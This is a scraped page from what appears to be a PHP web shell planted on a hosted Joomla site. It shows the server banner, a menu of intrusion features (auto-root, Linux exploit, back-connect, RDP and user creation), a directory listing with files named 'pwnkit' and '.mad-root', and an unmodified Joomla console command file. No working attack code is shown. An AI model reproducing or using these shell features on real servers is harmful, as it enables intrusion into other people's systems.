Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.120.20.2 | : 216.73.216.49
Cant Read [ /etc/named.conf ]
8.5.7
verseaumee
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
verseaumee /
zenit /
libraries /
src /
Console /
[ HOME SHELL ]
Name
Size
Permission
Action
Loader
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AddUserCommand.php
6.91
KB
-rw----r--
AddUserToGroupCommand.php
6.53
KB
-rw----r--
ChangeUserPasswordCommand.php
3.78
KB
-rw----r--
CheckJoomlaUpdatesCommand.php
3.11
KB
-rw----r--
CheckUpdatesCommand.php
2.17
KB
-rw----r--
CleanCacheCommand.php
1.69
KB
-rw----r--
DeleteUserCommand.php
4.56
KB
-rw----r--
ExtensionDiscoverCommand.php
3.16
KB
-rw----r--
ExtensionDiscoverInstallComman...
5.5
KB
-rw----r--
ExtensionDiscoverListCommand.p...
2.55
KB
-rw----r--
ExtensionInstallCommand.php
5.05
KB
-rw----r--
ExtensionRemoveCommand.php
4.67
KB
-rw----r--
ExtensionsListCommand.php
5.2
KB
-rw----r--
FinderIndexCommand.php
12.47
KB
-rw----r--
GetConfigurationCommand.php
7.36
KB
-rw----r--
ListUserCommand.php
3.05
KB
-rw----r--
RemoveOldFilesCommand.php
4.1
KB
-rw----r--
RemoveUserFromGroupCommand.php
7
KB
-rw----r--
SessionGcCommand.php
3.24
KB
-rw----r--
SessionMetadataGcCommand.php
2.57
KB
-rw----r--
SetConfigurationCommand.php
10.14
KB
-rw----r--
SiteDownCommand.php
2.45
KB
-rw----r--
SiteUpCommand.php
2.42
KB
-rw----r--
UpdateCoreCommand.php
7.77
KB
-rw----r--
pwnkit
0
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ExtensionDiscoverInstallCommand.php
<?php /** * Joomla! Content Management System * * @copyright (C) 2020 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\CMS\Console; \defined('JPATH_PLATFORM') or die; use Joomla\CMS\Installer\Installer; use Joomla\Console\Command\AbstractCommand; use Joomla\Database\DatabaseInterface; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Style\SymfonyStyle; /** * Console command for discovering extensions * * @since 4.0.0 */ class ExtensionDiscoverInstallCommand extends AbstractCommand { /** * The default command name * * @var string * @since 4.0.0 */ protected static $defaultName = 'extension:discover:install'; /** * Stores the Input Object * * @var InputInterface * @since 4.0.0 */ private $cliInput; /** * SymfonyStyle Object * * @var SymfonyStyle * @since 4.0.0 */ private $ioStyle; /** * Database connector * * @var DatabaseInterface * * @since 4.0.0 */ private $db; /** * Instantiate the command. * * @param DatabaseInterface $db Database connector * * @since 4.0.0 */ public function __construct(DatabaseInterface $db) { $this->db = $db; parent::__construct(); } /** * Configures the IO * * @param InputInterface $input Console Input * @param OutputInterface $output Console Output * * @return void * * @since 4.0.0 * */ private function configureIO(InputInterface $input, OutputInterface $output): void { $this->cliInput = $input; $this->ioStyle = new SymfonyStyle($input, $output); } /** * Initialise the command. * * @return void * * @since 4.0.0 */ protected function configure(): void { $this->addOption('eid', null, InputOption::VALUE_REQUIRED, 'The ID of the extension to discover'); $help = "<info>%command.name%</info> is used to discover extensions \nYou can provide the following option to the command: \n --eid: The ID of the extension \n If you do not provide a ID all discovered extensions are installed. \nUsage: \n <info>php %command.full_name% --eid=<id_of_the_extension></info>"; $this->setDescription('Install discovered extensions'); $this->setHelp($help); } /** * Used for discovering extensions * * @param string $eid Id of the extension * * @return integer The count of installed extensions * * @throws \Exception * @since 4.0.0 */ public function processDiscover($eid): int { $jInstaller = new Installer; $count = 0; if ($eid === -1) { $db = $this->db; $query = $db->getQuery(true) ->select($db->quoteName(['extension_id'])) ->from($db->quoteName('#__extensions')) ->where($db->quoteName('state') . ' = -1'); $db->setQuery($query); $eidsToDiscover = $db->loadObjectList(); foreach ($eidsToDiscover as $eidToDiscover) { if (!$jInstaller->discover_install($eidToDiscover->extension_id)) { return -1; } $count++; } if (empty($eidsToDiscover)) { return 0; } } else { if ($jInstaller->discover_install($eid)) { return 1; } else { return -1; } } return $count; } /** * Used for finding the text for the note * * @param int $count Number of extensions to install * @param int $eid ID of the extension or -1 if no special * * @return string The text for the note * * @since 4.0.0 */ public function getNote(int $count, int $eid): string { if ($count < 0 && $eid >= 0) { return 'Unable to install the extension with ID ' . $eid; } elseif ($count < 0 && $eid < 0) { return 'Unable to install discovered extensions.'; } elseif ($count === 0) { return 'There are no pending discovered extensions for install. Perhaps you need to run extension:discover first?'; } elseif ($count === 1 && $eid > 0) { return 'Extension with ID ' . $eid . ' installed successfully.'; } elseif ($count === 1 && $eid < 0) { return $count . ' discovered extension has been installed.'; } elseif ($count > 1 && $eid < 0) { return $count . ' discovered extensions have been installed.'; } else { return 'The return value is not possible and has to be checked.'; } } /** * Internal function to execute the command. * * @param InputInterface $input The input to inject into the command. * @param OutputInterface $output The output to inject into the command. * * @return integer The command exit code * * @since 4.0.0 */ protected function doExecute(InputInterface $input, OutputInterface $output): int { $this->configureIO($input, $output); if ($eid = $this->cliInput->getOption('eid')) { $result = $this->processDiscover($eid); if ($result === -1) { $this->ioStyle->error($this->getNote($result, $eid)); return Command::FAILURE; } else { $this->ioStyle->success($this->getNote($result, $eid)); return Command::SUCCESS; } } else { $result = $this->processDiscover(-1); if ($result < 0) { $this->ioStyle->error($this->getNote($result, -1)); return Command::FAILURE; } elseif ($result === 0) { $this->ioStyle->note($this->getNote($result, -1)); return Command::SUCCESS; } else { $this->ioStyle->note($this->getNote($result, -1)); return Command::SUCCESS; } } } }
Close